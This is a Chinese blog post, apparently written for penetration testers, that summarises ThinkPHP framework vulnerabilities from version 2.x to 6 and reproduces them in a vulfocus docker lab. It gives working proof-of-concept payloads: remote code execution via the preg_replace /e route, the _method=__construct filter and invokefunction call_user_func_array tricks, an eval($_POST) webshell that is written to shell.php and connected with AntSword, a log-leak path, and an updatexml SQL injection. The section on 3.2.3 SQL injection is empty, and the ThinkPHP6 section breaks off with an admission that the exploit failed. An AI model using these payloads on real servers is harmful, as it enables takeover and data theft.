ThinkPHP漏洞总结(利用)

ThinkPHP介绍

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

漏洞复现

1、ThinkPHP2.x远程代码执行漏洞

ThinkPHP ThinkPHP 2.x版本中,preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致输入参数被插入双引号中当做代码函数执行,因此造成任意代码执行漏洞。
在ThinkPHP3.0的版本中也没有修复此问题。

docker拉一下vulfocus的thinkphp2环境,好用又方便
在这里插入图片描述
POC尝试一波~~

/index.php?s=/index/index/aaa/${@phpinfo()}

在这里插入图片描述
进一步利用上传连一下马
POC

/index.php?s=/index/index/aaa/${${@eval($_POST[pass])}}

在这里插入图片描述

影响范围

ThinkPHP2.x

2、ThinkPHP3.2.3 SQL注入漏洞

3、ThinkPHP3日志泄露

直接访问日志目录,可以看到泄露的日志thinkphp日志文件。

/Application/Runtime/Logs/Home/21_04_20.log

在这里插入图片描述

影响范围

ThinkPHP3.1-3.2

4、ThinkPHP5.0.23远程代码执行漏洞

在ThinkPHP5.0.23以前版本中,获取的method的方法中没有准确的处理方法名,因此可以调用request方法构造利用点。

抓包修改请求方式POST,POC利用,写入shell.php
POC

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

写入shell.php
在这里插入图片描述
在这里插入图片描述
蚁剑连一波
在这里插入图片描述

影响范围

低于ThinkPHP5.0.23版本

5、ThinkPHP5.0.21远程命令执行漏洞

Thinkphp5.x 版本中没有对路由中的控制器进行严格过滤,没有开启强制路由的情况下可以执行系统命令。

漏洞利用路径poc

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数

在这里插入图片描述
在这里插入图片描述

影响范围

5.x < 5.1.31, <= 5.0.23

6、ThinkPHP5.1.X SQL注入漏洞

在ThinkPHP5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。

POC地址

index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`

在这里插入图片描述

影响范围

ThinkPHP 5.1.X

6、ThinkPHP6 SQL注入漏洞

该漏洞可控制写入文件名与路径,在特定条件下可控制内容,远程执行命令。

因为在thinkphp6下session是默认关闭的,在这里是需要我们手动开启的,在app/middleware.php文件下。

在这里插入图片描述
修改app
构造poc
在这里插入图片描述
最后这里不知道是哪里出了问题创建不了,session也开了,有哪位大佬帮忙指点一下。
下一章节thinkphp漏洞分析

  • 4
    点赞
  • 55
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值